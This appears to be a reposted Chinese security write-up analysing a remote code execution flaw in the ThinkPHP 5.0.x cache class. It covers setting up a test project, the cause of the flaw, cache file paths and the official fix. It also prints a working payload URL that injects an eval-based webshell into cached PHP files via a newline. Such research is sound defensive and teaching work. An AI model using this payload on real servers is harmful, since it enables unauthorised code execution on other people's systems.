ThinkPHP5.0.x 远程代码执行

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP5.0.x 远程代码执行相关的知识,希望对你有一定的参考价值。

漏洞概要

  • 本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞
  • 漏洞影响版本:
    5.0.0<=ThinkPHP5<=5.0.10

初始配置

获取测试环境代码

composer create-project --prefer-dist topthink/think=5.0.10 tpdemo

将 composer.json 文件的 require 字段设置成如下

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.10"
},

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下

<?php
namespace app\\index\\controller;
use think\\Cache;
class Index
{
    public function index()
    {
        Cache::set("name",input("get.username"));
        return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>';
    }
}
?>

漏洞利用

Payload

http://127.0.0.1/cms/public/index.php?username=H3rmesk1t%0d%0a@eval($_REQUEST[d1no]);//


漏洞分析

跟进 Cache 类的 set 方法,发现其先通过单例模式 init 方法,创建了一个类实例,该类由 cache 的配置项 type 决定,默认情况下其值为 File ,在本例中 self::$handler 即为 think\\cache\\driver\\File 类实例



thinkphp/library/think/cache/driver/ 目录下可以看到 Thinkphp5 支持的几种缓存驱动类,接着上面的分析,程序调用 think\\cache\\driver\\File 类的 set 方法,可以看到 data 数据没有经过任何处理,只是序列化后拼接存储在文件中,这里的 $this->options['data_compress'] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理,虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制


来看看缓存文件的名字是如何生成的,从前面可以看到文件名是通过调用 getCacheKey 方法获得的,跟进该方法可以看到缓存文件的子目录和文件名均和缓存类设置的键有关(如本例中缓存类设置的键为 name ),程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,如果应用程序还设置了前缀 $this->options['prefix'] ,那么缓存文件还将多一个上级目录

这个漏洞要想利用成功,得知道缓存类所设置的键名,这样才能找到 webshell 路径;其次如果按照官方说明开发程序, webshell 最终会被写到 runtime 目录下,而官方推荐 public 作为 web 根目录,所以即便写入了 shell ,也无法直接访问到;最后如果程序有设置 $this->options['prefix'] 的话,在没有源码的情况下还是无法获得 webshell 的准确路径

漏洞修复

官方的修复方法是:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数

攻击总结

参考Mochazz师傅的审计流程

以上是关于ThinkPHP5.0.x 远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章

ThinkPHP5.0.x SQL注⼊

ThinkPHP5.0.x 反序列化

GitGit 分支管理 ( 克隆远程分支 | 克隆 master 分支 git clone | 查看远程分支 git branch -a | 克隆远程分支 git checkout -b )(代码片段

GitGit 分支管理 ( 克隆远程分支 | 克隆 master 分支 git clone | 查看远程分支 git branch -a | 克隆远程分支 git checkout -b )(代码片段

thinkphp5网站的安全防护测试

thinkphp5网站的安全防护测试